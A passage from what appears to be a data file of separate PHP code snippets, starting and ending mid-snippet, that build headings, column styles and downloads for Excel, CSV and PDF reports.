$numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nGROUP BY Command\nMAINHEADING;\n }", "function weekviewHeader()\n {\n }", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function TablaHeaderBM( $headings, $header, $fill ) {\r\n\t\tif ($fill) \r\n\t\t\t$this->SetFillColor( 184, 184, 184 );\r\n\t\telse\r\n\t\t\t$this->SetFillColor( 255, 255, 255 );\r\n\t $this->SetTextColor( 0 );\r\n\t $this->SetDrawColor( 0, 0, 0 );\r\n\t $this->SetFont('Arial','B', 7);\r\n\t\t\r\n\t\t$y = $this->getY();\r\n\t\t$x = $this->getX();\r\n\t\t$wi = $header[0]+$header[1]+$header[2];\r\n\t\t\r\n\t\tif ($wi > 0) {\r\n\t\t\t$this->Celda($wi , 8, '', 1, 0, 'C', true );\r\n\t\t\t//,\r\n\t\t\t$i = 3;\r\n\t\t foreach ($headings as $th) {\r\n\t\t $this->Celda( $header[$i], 8, $th, 1, 0, 'C', true );\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\t$this->Ln();\r\n\t\t\t$y2 = $this->getY();\r\n\t\t\t$x2 = $this->getX();\r\n\r\n\t\t\t$this->setY($y);\r\n\t\t\t$this->setX($x);\r\n\t\t\t$this->SetFont('','B', 7);\r\n\t\t\t\r\n\t\t\t$this->Celda($wi , 4, utf8_decode('CLASIFICACION'), 1, 1, 'C', true );\r\n\t\t\t$this->SetFont('','B', 6);\r\n\t\t\t$this->Celda($header[0], 4, 'GRUPO', 1, 0, 'C', true );\r\n\t\t\t$this->Celda($header[1], 4, 'SUBGRUPO', 1, 0, 'C', true );\r\n\t\t\t$this->Celda($header[2], 4, 'SECCIÓN', 1, 1, 'C', true );\r\n\t\t\t\r\n\t\t\t$this->setY($y2);\r\n\t\t\t$this->setX($x2);\r\n\t\t}\r\n\t\t\r\n\t}", "public function format_for_header()\n {\n }", "public function getHeading(): string;", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "function Header() \n { \n\n list($r, $b, $g) = $this->xheadercolor; \n $this->setY(10); // shouldn't be needed due to page margin, but helas, otherwise it's at the page top \n $this->SetFillColor($r, $b, $g); \n $this->SetTextColor(0 , 0, 0); \n $this->Cell(0,20, '', 0,1,'C', 1); \n $this->Text(15,26,$this->xheadertext ); \n }", "function print_organos_colegiados()\n {\n $organos_colegiados = $this->OrganoColegiado_model->reporte_organos_colegiados();\n\n $this->load->library('excel');\n\n $object = new PHPExcel();\n $object->setActiveSheetIndex(0);\n \n //ENCABEZADOS\n $table_columns = array(\"Órgano Colegiado\", \"Comités\", \"Sesiones\", \"Acuerdos\", \"Concluidos\", \"Proceso\", \"Cancelado\", \"Sesiones sin asuntos SAF\");\n $blueBold = array(\n\t\t \"font\" => array(\n\t\t \"bold\" => true,\n\t\t \"color\" => array(\"rgb\" => \"000000\"),\n\t\t ),\n\t\t 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => 'CCCCCC')\n ),\n );\n $backRed = array(\n\t\t 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => 'ff4d4d')\n ),\n );\n $backGreen = array(\n\t\t 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => '9fff80')\n ),\n );\n $backBlue = array(\n\t\t 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => '80ccff')\n ),\n\t\t);\n\t\t$column = 0;\n\t\tforeach ($table_columns as $field) {\n $object->getActiveSheet()->setCellValueByColumnAndRow($column, 1, $field);\n\t\t\t$column++;\n\t\t}\n $object->getActiveSheet()->getStyle('A1:H1')->applyFromArray($blueBold);\n //END ENCABEZADOS\n\n //CONTENIDO\n $sumaCuentaComites = 0;\n $sumaCuentaSesiones = 0;\n $sumaCuentaAcuerdos = 0;\n $sumaCuentaConcluido = 0;\n $sumaCuentaProceso = 0;\n $sumaCuentaCancelado = 0;\n $sumaCuentaSinAcuerdos = 0;\n \n\t\t$excel_row = 2;\n\t\t$count = 1;\n\n\t\tforeach ($organos_colegiados as $row) {\n $object->getActiveSheet()->setCellValueByColumnAndRow(0, $excel_row, $row['nombreOC']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(1, $excel_row, $row['cuentaComites']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(2, $excel_row, $row['cuentaSesiones']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(3, $excel_row, $row['cuentaAcuerdos']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(4, $excel_row, $row['cuentaConcluido']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(5, $excel_row, $row['cuentaProceso']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(6, $excel_row, $row['cuentaCancelado']);\n $object->getActiveSheet()->setCellValueByColumnAndRow(7, $excel_row, $row['cuentaSinAcuerdos']);\n\n $sumaCuentaComites += $row['cuentaComites'];\n $sumaCuentaSesiones += $row['cuentaSesiones'];\n $sumaCuentaAcuerdos += $row['cuentaAcuerdos'];\n $sumaCuentaConcluido += $row['cuentaConcluido'];\n $sumaCuentaProceso += $row['cuentaProceso'];\n $sumaCuentaCancelado += $row['cuentaCancelado'];\n $sumaCuentaSinAcuerdos += $row['cuentaSinAcuerdos'];\n\n $excel_row++;\n $count++;\n\n\t\t}\n //END CONTENIDO\n\n //TOTALES\n $rowTotales = $excel_row++;\n $object->getActiveSheet()->setCellValueByColumnAndRow(0, $rowTotales, \"Totales:\");\n $object->getActiveSheet()->setCellValueByColumnAndRow(1, $rowTotales, $sumaCuentaComites);\n $object->getActiveSheet()->setCellValueByColumnAndRow(2, $rowTotales, $sumaCuentaSesiones);\n $object->getActiveSheet()->setCellValueByColumnAndRow(3, $rowTotales, $sumaCuentaAcuerdos);\n $object->getActiveSheet()->setCellValueByColumnAndRow(4, $rowTotales, $sumaCuentaConcluido);\n $object->getActiveSheet()->setCellValueByColumnAndRow(5, $rowTotales, $sumaCuentaProceso);\n $object->getActiveSheet()->setCellValueByColumnAndRow(6, $rowTotales, $sumaCuentaCancelado);\n $object->getActiveSheet()->setCellValueByColumnAndRow(7, $rowTotales, $sumaCuentaSinAcuerdos);\n\n //END TOTALES\n\n //GRAFICA\n\n //END GRAFICA\n\n //Ejecución del Excel\n $objWriter = PHPExcel_IOFactory::createWriter($object, 'Excel5');\n $objWriter->setIncludeCharts(true);\n\n\t\t$filename=\"Reporte_Organos_Colegiados.xls\"; //save our workbook as this file name\n\t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\n\t\theader('Cache-Control: max-age=0'); //no cache\n\n\t\t//save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n\t\t//if you want to save it as .XLSX Excel 2007 format\n\t\t//force user to download the Excel file without writing it to server's HD\n\t\t$objWriter->save('php://output');\n }", "function Header() {\r\n // print the title\r\n $this->SetTitleFont();\r\n $this->Cell(100, 8, $this->title, 0, 0, \"L\");\r\n\r\n // print the author\r\n $this->SetAuthorFont();\r\n $this->Cell(0, 8, $this->author, 0, 0, \"R\");\r\n\r\n // header line\r\n $this->SetFillColor(0, 0, 0);\r\n $this->Rect(10, 17, 190, 0.2, \"F\");\r\n $this->Rect(10, 17.5, 190, 0.2, \"F\");\r\n $this->Ln(14);\r\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "protected function draw_groupsHeaderHorizontal()\n {\n // $this->output->setColumnNo(0);\n $lastcolumno = $this->output->getColumnNo();\n $this->output->setColumnNo(0);\n $this->draw_groupsHeader();\n $this->output->setColumnNo($lastcolumno);\n $this->currentRowTop = $this->output->getLastBandEndY();\n \n //output print group\n //set callback use next page instead\n // echo 'a'; \n }", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA 